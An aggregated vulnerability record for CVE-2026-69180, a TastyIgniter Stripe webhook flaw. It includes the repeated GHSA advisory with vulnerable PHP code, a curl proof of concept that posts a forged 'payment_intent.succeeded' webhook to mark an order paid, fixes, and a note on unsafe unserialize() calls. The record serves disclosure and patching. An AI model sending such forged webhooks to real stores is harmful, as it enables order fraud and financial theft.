{"id":"CVE-2026-69180","aliases":["EUVD-2026-141474","GHSA-v7c9-gjc9-fv7g"],"status":"published","title":"TastyIgniter: Forged Webhook Payload Leads to Order Fraud Without Payment","description":"TastyIgniter is an open-source online ordering, table reservation, and restaurant management system. From version 4.0.0 to before version 4.3.1, the Stripe payment gateway webhook handler accepts forged webhook payloads without signature verification when the webhook secret is not configured. Because the webhook secret is an optional field (not enforced by validation), an unauthenticated attacker can send a crafted payment_intent.succeeded webhook to mark any order as paid without making an actual payment. This issue has been patched in version 4.3.1.","severity":{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-12-04","score":0.0036,"percentile":0.31817,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":true,"poc_reported":true},"cwes":["CWE-345","CWE-502"],"published":"2026-12-02T15:00:12Z","modified":"2026-12-04T20:45:48Z","exploits":[{"source":"pocgithub","id":"googlesky/CVE-2026-69180","title":"googlesky/CVE-2026-69180","date":"2026-12-03","url":"https://github.com/googlesky/CVE-2026-69180"}],"fixes":[{"ecosystem":"Packagist","package":"tastyigniter/ti-ext-payregister","fixed_in":["4.3.1"],"sources":["ghsa"]}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"tastyigniter/ti-ext-payregister","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.0"},{"fixed":"4.3.1"}]}]},{"source":"osv","ecosystem":"Packagist","package":"tastyigniter/ti-ext-payregister","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.0"}]}],"versions":["v4.0.0","v4.0.1","v4.0.2","v4.0.3","v4.0.4","v4.0.5","v4.0.6","v4.0.7","v4.0.8","v4.1.0","v4.1.1","v4.1.2","v4.2.0","v4.3.0","v4.3.1","v4.4.0","v4.4.1","v4.4.2","v4.4.3","v4.4.4","v4.4.5"]}],"products":[{"vendor":"media manager","product":"tastyigniter"},{"vendor":"tastyigniter","product":"tastyigniter"}],"references":[{"url":"https://github.com/tastyigniter/TastyIgniter/security/advisories/GHSA-v7c9-gjc9-fv7g","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/tastyigniter/TastyIgniter/releases/tag/v4.3.1","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69180","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-v7c9-gjc9-fv7g"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/69xxx/CVE-2026-69180.json","tags":["advisory"]},{"url":"https://github.com/tastyigniter/TastyIgniter","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-69180","title":"TastyIgniter: Forged Webhook Payload Leads to Order Fraud Without Payment","description":"TastyIgniter is an open-source online ordering, table reservation, and restaurant management system. From version 4.0.0 to before version 4.3.1, the Stripe payment gateway webhook handler accepts forged webhook payloads without signature verification when the webhook secret is not configured. Because the webhook secret is an optional field (not enforced by validation), an unauthenticated attacker can send a crafted payment_intent.succeeded webhook to mark any order as paid without making an actual payment. This issue has been patched in version 4.3.1.","status":"published","published":"2026-12-02T15:00:12.707Z","modified":"2026-12-03T14:18:00.108Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-345","CWE-502"],"ssvc":{"exploitation":"poc","automatable":"yes","technical_impact":"partial","date":"2026-12-03"},"updated_at":"2026-12-03T14:30:53.701673Z"}],"euvd":[{"id":"EUVD-2026-141474","description":"TastyIgniter is an open-source online ordering, table reservation, and restaurant management system. From version 4.0.0 to before version 4.3.1, the Stripe payment gateway webhook handler accepts forged webhook payloads without signature verification when the webhook secret is not configured. Because the webhook secret is an optional field (not enforced by validation), an unauthenticated attacker can send a crafted payment_intent.succeeded webhook to mark any order as paid without making an actual payment. This issue has been patched in version 4.3.1.","status":"published","published":"2026-12-02T15:00:12Z","modified":"2026-12-03T14:18:00Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N","level":"high"}],"updated_at":"2026-12-03T15:32:28.822768Z"}],"ghsa":[{"id":"GHSA-v7c9-gjc9-fv7g","title":"TastyIgniter: Forged Webhook Payload Leads to Order Fraud Without Payment","description":"# Security Advisory: Forged Webhook Payload Leads to Order Fraud Without Payment\n\n## Summary\n\n| Field | Details |\n|---|---|\n| **Package** | `tastyigniter/ti-ext-payregister` |\n| **Affected File** | `src/Payments/Stripe.php` — `getWebhookPayload()` (lines 741–754) |\n| **Affected Versions** | All current versions (tested on v4.2.1) |\n| **CWE** | [CWE-345 — Insufficient Verification of Data Authenticity](https://cwe.mitre.org/data/definitions/345.html) |\n| **Reported** | 2026-04-20 |\n\n---\n\n## Description\n\nThe Stripe payment gateway webhook handler accepts forged webhook payloads **without signature verification** when the webhook secret is not configured. Because the webhook secret is an optional field (not enforced by validation), an unauthenticated attacker can send a crafted `payment_intent.succeeded` webhook to mark any order as paid without making an actual payment.\n\n---\n\n## Root Cause\n\nIn `src/Payments/Stripe.php`:\n\n```php\nprotected function getWebhookPayload(): array\n{\n    if (!$webhookSecret = $this-\u003egetWebhookSecret()) {\n        // No webhook secret configured → payload accepted WITHOUT any verification\n        return json_decode(request()-\u003egetContent(), true);\n    }\n\n    // Signature is only verified when the webhook secret IS configured\n    $event = Webhook::constructEvent(\n        request()-\u003egetContent(),\n        request()-\u003eheader('stripe-signature'),\n        $webhookSecret,\n    );\n\n    return $event-\u003etoArray();\n}\n```\n\nWhen no webhook secret is set, the handler returns the raw, unverified request body directly. The webhook secret fields (`test_webhook_secret` / `live_webhook_secret`) are **optional** in the admin payment settings form — only the Publishable Key and Secret Key are enforced by validation.\n\nAdditionally, the webhook endpoint is explicitly excluded from CSRF protection in `Extension.php` (line 161):\n\n```php\nVerifyCsrfToken::except(['ti_payregister/*']);\n```\n\nThis means the endpoint is both **unauthenticated** and **CSRF-exempt**, making it trivially exploitable from any external origin.\n\n---\n\n## Proof of Concept\n\n### Step 1 — Confirm the webhook secret is not configured\n\nNavigate to `/admin/payments/edit/stripe`. The **Test Webhook Secret** and **Live Webhook Secret** fields are empty by default and not required.\n\n### Step 2 — Send a forged webhook\n\n```bash\ncurl -X POST https://[target]/ti_payregister/stripe_webhook/handle \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"type\": \"payment_intent.succeeded\",\n    \"data\": {\n      \"object\": {\n        \"id\": \"pi_forged_intent\",\n        \"status\": \"succeeded\",\n        \"metadata\": {\n          \"order_id\": 1\n        }\n      }\n    }\n  }'\n```\n\n**Response:** `HTTP 200 — \"Webhook Handled\"`\n\n### Step 3 — Verify order status\n\nAfter `ProcessStripeWebhookJob` executes (dispatched with a 1-minute delay), the order's **Payment Attempts** tab shows:\n\n\u003e *\"Payment successful via webhook\"*\n\nThe order is marked as paid and a **Refund** action button appears, confirming the forged webhook was fully processed.\n\n### Validated On\n\n| Environment | Details | Result |\n|---|---|---|\n| Local instance | TastyIgniter v4.2.1, PHP 8.3.30, MySQL 8.0 | ✅ Order marked `processed = true` |\n| Official demo | Created via tastyigniter.com demo feature | ✅ HTTP 200, payment log entry created |\n\n---\n\n## Impact\n\n- **Financial theft** — Attackers place orders and receive goods or services without making any payment.\n- **No authentication required** — The webhook endpoint is fully public and CSRF-exempt.\n- **Scalable** — Any `order_id` can be targeted; an attacker only needs to know or enumerate order IDs.\n- **Vulnerable by default** — Webhook secrets are empty on fresh installations, making all new deployments immediately exploitable.\n\n---\n\n## Recommended Fixes\n\n### Option A — Reject webhooks when no secret is configured *(recommended)*\n\n```php\nprotected function getWebhookPayload(): array\n{\n    if (!$webhookSecret = $this-\u003egetWebhookSecret()) {\n        throw new \\Exception('Webhook secret is not configured. Webhooks cannot be processed securely.');\n    }\n\n    $event = Webhook::constructEvent(\n        request()-\u003egetContent(),\n        request()-\u003eheader('stripe-signature'),\n        $webhookSecret,\n    );\n\n    return $event-\u003etoArray();\n}\n```\n\n### Option B — Make the webhook secret a required field\n\nEnforce `test_webhook_secret` / `live_webhook_secret` as required in the payment settings validation rules when Stripe is enabled.\n\n### Option C — Verify via the Stripe API directly\n\nBefore marking any order as paid, verify the payment intent directly against the Stripe API regardless of webhook signature status.\n\n---\n\n## Additional Finding: Insecure Deserialization (CWE-502)\n\nFive instances of `unserialize()` were identified **without** the `allowed_classes` restriction across `tastyigniter/core` and `tastyigniter/ti-ext-cart`:\n\n| # | File | Location |\n|---|---|---|\n| 1 | `src/System/Models/Settings.php` | `getValueAttribute()` |\n| 2 | `src/System/Traits/CombinesAssets.php` | `getCache()` |\n| 3 | `src/Main/Classes/MediaLibrary.php` | Cache handling |\n| 4 | `src/Flame/Database/Concerns/HasAttributes.php` | `fromSerialized()` |\n| 5 | `ti-ext-cart/src/Cart.php` | `restore()` |\n\n**Fix:** Add `['allowed_classes' =\u003e false]` to all `unserialize()` calls, or migrate to `json_decode()` where the data format permits.\n\n---\n\n## Disclosure Timeline\n\n| Date | Event |\n|---|---|\n| 2026-04-20 | Vulnerability discovered and validated |\n| 2026-04-20 | Report sent to support@tastyigniter.com |\n\n---\n\n\u003e This report was submitted following responsible disclosure practices and was not publicly disclosed prior to vendor notification.","status":"published","published":"2026-12-03T00:38:15Z","modified":"2026-12-03T00:38:16Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N","level":"high"}],"cwes":["CWE-345","CWE-502"],"updated_at":"2026-12-03T00:41:02.99084Z"}],"nvd":[{"id":"CVE-2026-69180","description":"TastyIgniter is an open-source online ordering, table reservation, and restaurant management system. From version 4.0.0 to before version 4.3.1, the Stripe payment gateway webhook handler accepts forged webhook payloads without signature verification when the webhook secret is not configured. Because the webhook secret is an optional field (not enforced by validation), an unauthenticated attacker can send a crafted payment_intent.succeeded webhook to mark any order as paid without making an actual payment. This issue has been patched in version 4.3.1.","status":"published","published":"2026-12-02T15:17:28.837Z","modified":"2026-12-03T15:17:15.65Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-345","CWE-502"],"ssvc":{"exploitation":"poc","automatable":"yes","technical_impact":"partial","date":"2026-12-03"},"updated_at":"2026-12-03T15:17:27.288122Z"}],"osv":[{"id":"CVE-2026-69180","title":"TastyIgniter: Forged Webhook Payload Leads to Order Fraud Without Payment","description":"TastyIgniter is an open-source online ordering, table reservation, and restaurant management system. From version 4.0.0 to before version 4.3.1, the Stripe payment gateway webhook handler accepts forged webhook payloads without signature verification when the webhook secret is not configured. Because the webhook secret is an optional field (not enforced by validation), an unauthenticated attacker can send a crafted payment_intent.succeeded webhook to mark any order as paid without making an actual payment. This issue has been patched in version 4.3.1.","status":"published","published":"2026-12-02T15:00:12.707Z","modified":"2026-12-04T20:45:48.575518231Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N","level":"high"}],"cwes":["CWE-345","CWE-502"],"updated_at":"2026-12-03T21:09:18.07392Z"},{"id":"GHSA-v7c9-gjc9-fv7g","title":"TastyIgniter: Forged Webhook Payload Leads to Order Fraud Without Payment","description":"# Security Advisory: Forged Webhook Payload Leads to Order Fraud Without Payment\n\n## Summary\n\n| Field | Details |\n|---|---|\n| **Package** | `tastyigniter/ti-ext-payregister` |\n| **Affected File** | `src/Payments/Stripe.php` — `getWebhookPayload()` (lines 741–754) |\n| **Affected Versions** | All current versions (tested on v4.2.1) |\n| **CWE** | [CWE-345 — Insufficient Verification of Data Authenticity](https://cwe.mitre.org/data/definitions/345.html) |\n| **Reported** | 2026-04-20 |\n\n---\n\n## Description\n\nThe Stripe payment gateway webhook handler accepts forged webhook payloads **without signature verification** when the webhook secret is not configured. Because the webhook secret is an optional field (not enforced by validation), an unauthenticated attacker can send a crafted `payment_intent.succeeded` webhook to mark any order as paid without making an actual payment.\n\n---\n\n## Root Cause\n\nIn `src/Payments/Stripe.php`:\n\n```php\nprotected function getWebhookPayload(): array\n{\n    if (!$webhookSecret = $this-\u003egetWebhookSecret()) {\n        // No webhook secret configured → payload accepted WITHOUT any verification\n        return json_decode(request()-\u003egetContent(), true);\n    }\n\n    // Signature is only verified when the webhook secret IS configured\n    $event = Webhook::constructEvent(\n        request()-\u003egetContent(),\n        request()-\u003eheader('stripe-signature'),\n        $webhookSecret,\n    );\n\n    return $event-\u003etoArray();\n}\n```\n\nWhen no webhook secret is set, the handler returns the raw, unverified request body directly. The webhook secret fields (`test_webhook_secret` / `live_webhook_secret`) are **optional** in the admin payment settings form — only the Publishable Key and Secret Key are enforced by validation.\n\nAdditionally, the webhook endpoint is explicitly excluded from CSRF protection in `Extension.php` (line 161):\n\n```php\nVerifyCsrfToken::except(['ti_payregister/*']);\n```\n\nThis means the endpoint is both **unauthenticated** and **CSRF-exempt**, making it trivially exploitable from any external origin.\n\n---\n\n## Proof of Concept\n\n### Step 1 — Confirm the webhook secret is not configured\n\nNavigate to `/admin/payments/edit/stripe`. The **Test Webhook Secret** and **Live Webhook Secret** fields are empty by default and not required.\n\n### Step 2 — Send a forged webhook\n\n```bash\ncurl -X POST https://[target]/ti_payregister/stripe_webhook/handle \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"type\": \"payment_intent.succeeded\",\n    \"data\": {\n      \"object\": {\n        \"id\": \"pi_forged_intent\",\n        \"status\": \"succeeded\",\n        \"metadata\": {\n          \"order_id\": 1\n        }\n      }\n    }\n  }'\n```\n\n**Response:** `HTTP 200 — \"Webhook Handled\"`\n\n### Step 3 — Verify order status\n\nAfter `ProcessStripeWebhookJob` executes (dispatched with a 1-minute delay), the order's **Payment Attempts** tab shows:\n\n\u003e *\"Payment successful via webhook\"*\n\nThe order is marked as paid and a **Refund** action button appears, confirming the forged webhook was fully processed.\n\n### Validated On\n\n| Environment | Details | Result |\n|---|---|---|\n| Local instance | TastyIgniter v4.2.1, PHP 8.3.30, MySQL 8.0 | ✅ Order marked `processed = true` |\n| Official demo | Created via tastyigniter.com demo feature | ✅ HTTP 200, payment log entry created |\n\n---\n\n## Impact\n\n- **Financial theft** — Attackers place orders and receive goods or services without making any payment.\n- **No authentication required** — The webhook endpoint is fully public and CSRF-exempt.\n- **Scalable** — Any `order_id` can be targeted; an attacker only needs to know or enumerate order IDs.\n- **Vulnerable by default** — Webhook secrets are empty on fresh installations, making all new deployments immediately exploitable.\n\n---\n\n## Recommended Fixes\n\n### Option A — Reject webhooks when no secret is configured *(recommended)*\n\n```php\nprotected function getWebhookPayload(): array\n{\n    if (!$webhookSecret = $this-\u003egetWebhookSecret()) {\n        throw new \\Exception('Webhook secret is not configured. Webhooks cannot be processed securely.');\n    }\n\n    $event = Webhook::constructEvent(\n        request()-\u003egetContent(),\n        request()-\u003eheader('stripe-signature'),\n        $webhookSecret,\n    );\n\n    return $event-\u003etoArray();\n}\n```\n\n### Option B — Make the webhook secret a required field\n\nEnforce `test_webhook_secret` / `live_webhook_secret` as required in the payment settings validation rules when Stripe is enabled.\n\n### Option C — Verify via the Stripe API directly\n\nBefore marking any order as paid, verify the payment intent directly against the Stripe API regardless of webhook signature status.\n\n---\n\n## Additional Finding: Insecure Deserialization (CWE-502)\n\nFive instances of `unserialize()` were identified **without** the `allowed_classes` restriction across `tastyigniter/core` and `tastyigniter/ti-ext-cart`:\n\n| # | File | Location |\n|---|---|---|\n| 1 | `src/System/Models/Settings.php` | `getValueAttribute()` |\n| 2 | `src/System/Traits/CombinesAssets.php` | `getCache()` |\n| 3 | `src/Main/Classes/MediaLibrary.php` | Cache handling |\n| 4 | `src/Flame/Database/Concerns/HasAttributes.php` | `fromSerialized()` |\n| 5 | `ti-ext-cart/src/Cart.php` | `restore()` |\n\n**Fix:** Add `['allowed_classes' =\u003e false]` to all `unserialize()` calls, or migrate to `json_decode()` where the data format permits.\n\n---\n\n## Disclosure Timeline\n\n| Date | Event |\n|---|---|\n| 2026-04-20 | Vulnerability discovered and validated |\n| 2026-04-20 | Report sent to support@tastyigniter.com |\n\n---\n\n\u003e This report was submitted following responsible disclosure practices and was not publicly disclosed prior to vendor notification.","status":"published","published":"2026-12-03T00:38:15Z","modified":"2026-12-03T16:12:46.183371287Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N","level":"high"}],"cwes":["CWE-345","CWE-502"],"updated_at":"2026-12-03T01:04:04.362784Z"}]}}
